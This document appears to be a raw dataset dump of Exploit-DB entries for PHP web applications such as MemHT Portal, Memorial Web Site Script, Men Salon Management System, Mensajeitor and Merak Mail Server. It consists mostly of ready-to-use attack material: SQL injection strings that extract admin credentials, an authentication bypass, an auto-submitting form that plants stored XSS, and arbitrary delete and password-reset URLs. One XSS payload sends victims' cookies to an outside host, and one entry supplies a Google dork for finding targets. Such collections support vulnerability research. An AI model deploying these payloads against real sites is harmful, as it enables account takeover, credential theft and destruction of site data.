deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15386
Description: MemHT Portal 4.0.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-11-02
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22662
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_memht_portal.html
Product: MemHT Portal
Vendor: Miltenovik Manojlo ( http://www.memht.com/ ) 
Vulnerable Version: 4.0.1 and probably prior versions
Vendor Notification: 19 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/pages/configuration/index.php" script to properly sanitize user-supplied input in "copyright" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php?page=configuration&op=siteConfig&ok=true" method="post" name="main">

<input type="hidden" name="nome_sito" value="sitename">
<input type="hidden" name="site_url" value="http://host">
<input type="hidden" name="webmaster_mail" value="email@host.com">
<input type="hidden" name="site_open" value="1">
<input type="hidden" name="offlinemsg" value="">
<input type="hidden" name="defpage" value="news">
<input type="hidden" name="timestamp" value="%d/%m/%Y %H:%i">
<input type="hidden" name="timezone" value="0">
<input type="hidden" name="admin_ghosts" value="1">
<input type="hidden" name="infobar" value="0">
<input type="hidden" name="graphic_check" value="1">
<input type="hidden" name="textarea_editor" value="1">
<input type="hidden" name="modrewrite" value="0">
<input type="hidden" name="footmsg" value="">
<input type="hidden" name="copyright" value="copyright<img src=x onerror=alert(12345)>">
<input type="hidden" name="descrizione" value="">
<input type="hidden" name="metatags" value="">
<input type="hidden" name="user_max_lunghezza" value="20">
<input type="hidden" name="pass_max_lunghezza" value="20">
<input type="hidden" name="user_confirm_email" value="1">
<input type="hidden" name="approve_users" value="0">
<input type="hidden" name="num_news_home" value="5">
<input type="hidden" name="num_news_page" value="20">
<input type="hidden" name="guest_msgbox" value="0">
<input type="hidden" name="forumattachment" value="0">
<input type="hidden" name="forumattachmentfolder" value="attachment">
<input type="hidden" name="virtualpages" value="1">
<input type="hidden" name="usecomments" value="1">
<input type="hidden" name="guest_com" value="0">
<input type="hidden" name="Submit" value="Save">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #12351
Description: memorial Web site script - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-23
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
       Memorial Web Site Script (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: April, 23-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Memorial Web Site Script
Vendor  	: http://www.easy-scripts.net/
Price		: $49 USD
Google Dork	: allinurl:show_memorial.php?id=

people can create memorial with photo album and music and edit there 
memorial and condoleances You can put it free of charge or apply a fee 
to make a memorial You can add your adsense code in showmemorial pages
----------------------------------------------------------------

Exploit:
~~~~~~~

+and+1=2+union+all+select+1,2,group_concat(username,char(58),password)v3n0m,4,5,6,7,8+from+admin--

SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/show_memorial.php?id=[xxx][SQLi]
http://127.0.0.1/[path]/show_memorial.php?id=[xxx]+and+1=2+union+all+select+1,2,group_concat(username,char(58),password)v3n0m,4,5,6,7,8+from+admin--

** [xxx] = Valid id number
** After injected a target,get da scrolling your cursor down and you'll see the password unencrypted !
----------------------------------------------------------------

Shoutz:
~~~~

- 'You getz angry to me c'z you dunno what i did :( '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,c4uR [bang martabak keju satu,ga pake lama...],mywisdom,yadoy666,udhit
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- elicha cristia [Mizz You...Mizz You...Mizz You... :)]
- N.O.C & Technical Support @office
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
	  http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]--------------------------------
Exploit-DB #12359
Description: Memorial Web Site Script - Multiple Arbitrary Delete Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-23
Author: Chip d3 bi0s

Exploit:
-----------------------------------------------------------------------------------------
Memorial Web Site Script Multiple Arbitrary Delete Vuln
-----------------------------------------------------------------------------------------
 
Author	: Chip D3 Bi0s
Email	: chipdebios[alt+64]gmail.com
Where	: From Remote
Team	: LatinHackTeam


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Author	: Easy Scripts
Price	: $49
Vendor	: http://www.easy-scripts.net

description Bug:
~~~~~~~~~~~~~~~
After seeing the bug v3n0m:
http://www.exploit-db.com/exploits/12351

I kept seeing some things,
Discovery that could clear things published registered user,
even delete registered users:)
to do so, we must first get the id of registered users
I'd have this form in some of its publications

http://127.0.0.1/[path]/show_memorial.php?id=100


then only get the id can delete all these things
Memorials, Pictures, Multimple Pictures, Condoleances,
Funeral homes, Resell & Delet Users

All this is explained below:


-------------------
Delet Memorials
http://127.0.0.1/[path]/admin/delete_mem.php?id=100

------------------
Delet Pictures
http://127.0.0.1/[path]/admin/delete_pic.php?id=100



in case of multiple images
View Source on the pole is thus

var preloadedimages=new Array();
var timeoutId;

photos[0]="pictures/[PII_REDACTED]_0_sub.JPG";
names[0]="";
photos[1]="pictures/[PII_REDACTED]_0_sub.JPG";
names[1]="Mon&Dad";
photos[2]="pictures/[PII_REDACTED]_0_sub.JPG";
names[2]="Cementry";
photos[3]="pictures/[PII_REDACTED]_0_sub.JPG";
names[3]="Dad&Tommy";
photos[4]="pictures/[PII_REDACTED]_1_sub.JPG";
names[4]="Dad&Steve";
photos[5]="pictures/[PII_REDACTED]_0_sub.JPG";
names[5]="";
photos[6]="pictures/[PII_REDACTED]_0_sub.JPG";
names[6]="Dad7Minoo&Homa";

Delet Multimple Pictures

http://127.0.0.1/[path]/admin/del_im.php?id=100&name=[PII_REDACTED]_0_sub.JPG
-------------------

Delet Condoleances
http://127.0.0.1/[path]/dmin/delete_con.php?id=100

-------------
Delet Funeral homes
http://127.0.0.1/[path]/admin/delete_fh.php?id=100


--------
Delet Resell
http://127.0.0.1/[path]/admin/delete_resell.php?id=100

---------
Delet Users
http://127.0.0.1/[path]/admin/delete_user.php?id=100



+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #12358
Description: Memorial Web Site Script - Reset Password / Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2010-04-23
Author: Chip d3 bi0s

Exploit:
-----------------------------------------------------------------------
Memorial Web Site Script --> Reset Password & Insecure Cookie Handling
----------------------------------------------------------------------- 
Author	: Chip D3 Bi0s
Email	: chipdebios[alt+64]gmail.com
Where	: From Remote
Group	: LatinHackTeam


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application	: Memorial Web Site Script
Author		: Easy Scripts
Price		: $49
Vendor		: http://www.easy-scripts.net

description Bug:
~~~~~~~~~~~~~~~

To reset the password just use this:

http://127.0.0.1/[path]/admin/change_pass.php

so the password will be null, login with single user can
admin:

http://127.0.0.1/[path]/admin/

--------------------------

Insecure Cookie Handling

exploit:
javascript:document.cookie="logged=admin;path=/";

http://127.0.0.1/[path]/admin/
--------------------------



+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #50274
Description: Men Salon Management System 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2021-09-13
Author: Aryan Chehreghani

Exploit:
# Exploit Title: Men Salon Management System 1.0 - Multiple Vulnerabilities
# Date: 2021-09-09
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql
# Version: 1.0
# Tested on: Windows 10 - XAMPP Server

# Vulnerable page :
http://localhost/msms/admin/edit-customer-detailed.php?editid=

# Proof Of Concept :
# 1 . Download And install [ Men Salon Management System ]
# 2 . Go to /msms/admin/index.php and Enter Username & Password
# 3 . Navigate to >> Customer List 
# 4 . In the action column, click Edit 
# 5 . Enter the payload into the Url and Fields

# [ Sql Injection ] :

Vulnerable paramater :
The editid paramater is Vulnerable to sqli

GET : http://localhost/msms/admin/edit-customer-detailed.php?editid=2'+union+select+1,database(),3,4,5,6,7,8--+

# [ Stored Cross-Site Scripting ] : 

Vulnerable Fields : Name & Email

Payload Used: "><script>alert(document.cookie)</script>
Exploit-DB #50169
Description: Men Salon Management System 1.0 - SQL Injection Authentication Bypass
Type: webapps
Platform: php
Date: 2021-08-02
Author: Akshay Khanna

Exploit:
# Exploit Title: Men Salon Management System 1.0 - SQL Injection Authentication Bypass
# Date: 2021-07-30
# Exploit Author:  Akshay Khanna (ConfusedBot)
# Vendor Homepage: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10/Kali Linux

*POC*

Step 1 -  Go to URL http://localhost:8080/Men/Salon/Management/System/Project/msms/admin/index.php
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to   admin ' or '1'='1'#
Step 5 – Click forward and now you will be logged in as admin.

REQUEST

POST /Men/Salon/Management/System/Project/msms/admin/index.php HTTP/1.1
Host: localhost:8080
Content-Length: 67
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
http://localhost:8080/Men%20Salon%20Management%20System%20Project/msms/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=fmo6opiohab5jf02r13db3f459
Connection: close

username=admin+%27+or+%271%27%3D%271%27%23&[CREDENTIAL_REDACTED]=Sign+In
Exploit-DB #45875
Description: Meneame English Pligg 5.8 - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-15
Author: Ihsan Sencan

Exploit:
# Exploit Title: Meneame English Pligg 5.8 - 'search' SQL Injection
# Dork: N/A
# Date: 2018-11-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/meneame-english/
# Software Link: https://master.dl.sourceforge.net/project/meneame/meneame/Beta%205.8/Pligg_Beta_5.8.rar
# Version: 5.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?search=[SQL]
# 
GET /[PATH]/?search=%61%27%29%20%41%4e%44%20(SeleCT%20%27Efe%27%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))%20--%20Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 15:10:50 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 7044
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #25909
Description: Mensajeitor 1.8.9 - 'IP' HTML Injection
Type: webapps
Platform: php
Date: 2005-06-27
Author: Megabyte

Exploit:
source: https://www.securityfocus.com/bid/14071/info

Mensajeitor is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/mensajeitor.php?nick=megabyte&url=http://mbytesecurity.org&actualizar=null&titulo=aaa&ip='aa'>%3Ciframe%20src=http://mbytesecurity.org/bukle.htm&enviar
=Enviar
<http://www.example.com/mensajeitor.php?nick=megabyte&url=http://mbytesecurity.org&actualizar=null&titulo=aaa&ip=%27aa%27%3E%3Ciframe%20src=http://mbytesecurity.org/bukle.htm
&enviar=Enviar>
Exploit-DB #24301
Description: Mensajeitor Tag Board 1.x - Authentication Bypass
Type: webapps
Platform: php
Date: 2004-07-21
Author: Jordi Corrales

Exploit:
source: https://www.securityfocus.com/bid/10774/info

It has been reported that Mensajeitor Tag Board is affected by an authentication bypass vulnerability. This issue is due to a failure of the application to properly handle authentication controls.

Successful exploitation of this issue will allow an attacker to post messages to the affected tag board as an administrator, reportedly facilitating HTML injection and attacks.

< html>
< head>< title>Mensajeitor Exploit</title></head>
< body>
Inyeccion codigo en Mensajeitor =< v1.8.9 r1< br>< br>

< form name="form1" method="post" action="http://www.victima.com/mensajeitor.php">
    < input type="text" name="nick" size="10" value="Nick" maxlength="9">< br>
    < input type="text" name="titulo" size="21" value="Mensaje">< br>
    < input type="text" name="url" size="21" value="http://">< br>
    < input type="hidden" name="AdminNick" value="si">< br>
    Introduce codigo a insertar (</table> debe incluirse al principio)< br>
    < input type="text" name="cadena_final" size="75%" value="</table>< script>alert('hacked ;)')</script>">< br>
    < input type="submit" name="enviar" value="Enviar" class="form">< br>
</form>

MensajeitorPHP propiedad de aaff.< br>
By Jordi Corrales (Shell Security Group, http://www.shellsec.net)
</body></html>
Exploit-DB #38770
Description: MentalJS - Sandbox Security Bypass
Type: webapps
Platform: php
Date: 2013-09-20
Author: Rafay Baloch

Exploit:
source: https://www.securityfocus.com/bid/62581/info

MentalJS is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass sandbox security restrictions and perform unauthorized actions; this may aid in launching further attacks. 

http://www.example.com/demo/demo-deny-noescape.html?test=%3Cscript%3Edocument.body.innerHTML=%22%3Cform+onmouseover=javascript:alert(0);%3E%3Cinput+name=attributes%3E%22;%3C/script%3E
Exploit-DB #29780
Description: Mephisto Blog 0.7.3 - Search Function Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-03-26
Author: The[Boss]

Exploit:
source: https://www.securityfocus.com/bid/23141/info

Mephisto Blog is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Mephisto Blog version 0.7.3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/search?q="/><script>window.location="http://www.example2.com/script.php?data="+document.cookie</script>
Exploit-DB #24377
Description: Merak Mail Server 7.4.5 - 'address.html' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-07-17
Author: Criolabs

Exploit:
source: https://www.securityfocus.com/bid/10966/info

The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.

The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability

These vulnerabilities are reported to exist in versions prior to 7.5.2.

/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category="><script>alert()</script>&cserver=&ext=
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=">[XSS]&ext=
/address.html?id=[id]&sort=name&selectsort=&global=&showgroups=&showlite=&category=&cserver=&ext=">[XSS]
/address.html?id=[id]&sort=&selectsort=&global=">[XSS]&showgroups=&showlite=&category=&cserver=&ext=
/address.html?id=[id]&sort=&selectsort=&global=&showgroups=">[XSS]&showlite=&category=&cserver=&ext=
/address.html?id=[id]&sort=&selectsort=&global=&showgroups=&showlite=">[XSS]&category=&cserver=&ext=
Exploit-DB #24379
Description: Merak Mail Server 7.4.5 - 'attachment.html?attachmentpage_text_error' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-07-17
Author: Criolabs

Exploit:
source: https://www.securityfocus.com/bid/10966/info
  
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
  
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
  
These vulnerabilities are reported to exist in versions prior to 7.5.2.

/attachment.html?attachmentpage_text_error=">[XSS]
Exploit-DB #24382
Description: Merak Mail Server 7.4.5 - 'calendar.html?schedule' SQL Injection
Type: webapps
Platform: php
Date: 2004-07-17
Author: Criolabs

Exploit:
source: https://www.securityfocus.com/bid/10966/info
    
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
    
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
    
These vulnerabilities are reported to exist in versions prior to 7.5.2.

/calendar.html?id=1'&schedule=[SQL]
Exploit-DB #24378
Description: Merak Mail Server 7.4.5 - 'settings.html' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-07-17
Author: Criolabs

Exploit:
source: https://www.securityfocus.com/bid/10966/info
 
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
 
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
 
These vulnerabilities are reported to exist in versions prior to 7.5.2.

/settings.html?autoresponder=1&id=[id]&spage=">[XSS]
/settings.html?autoresponder=">[XSS]&id=[id]&spage=0
Exploit-DB #24381
Description: Merak Mail Server 7.4.5 - address.html Full Path Disclosure
Type: webapps
Platform: php
Date: 2004-07-17
Author: Criolabs

Exploit:
source: https://www.securityfocus.com/bid/10966/info
    
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
    
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
    
These vulnerabilities are reported to exist in versions prior to 7.5.2.

/address.html?id=
Exploit-DB #24380
Description: Merak Mail Server 7.4.5 - HTML Message Body Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-07-17
Author: Criolabs

Exploit:
source: https://www.securityfocus.com/bid/10966/info
   
The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.
   
The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability
   
These vulnerabilities are reported to exist in versions prior to 7.5.2.

<IMG alt="" hspace=0 src="javascript:alert(document.cookie)" align=baseline border=0><IFRAME src="http://www.google.com"></body> </html> </IFRAME>
Exploit-DB #26313
Description: Merak Mail Server 8.2.4 r - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2005-09-30
Author: ShineShadow

Exploit:
source: https://www.securityfocus.com/bid/14988/info

Merak Mail Server is affected by an arbitrary file deletion vulnerability. This issue arises due to an input validation error allowing an attacker to delete files in the context of the Web server running the application.

An attacker can exploit this issue to cause a denial of service condition due to data corruption.

Merak Mail Server version 8.2.4r is affected by this vulnerability. 

http://www.example.com:32000/mail/logout.html?id=[relative path]
http://www.example.com:32000/mail/logout.html?id=[relative path]%00blabla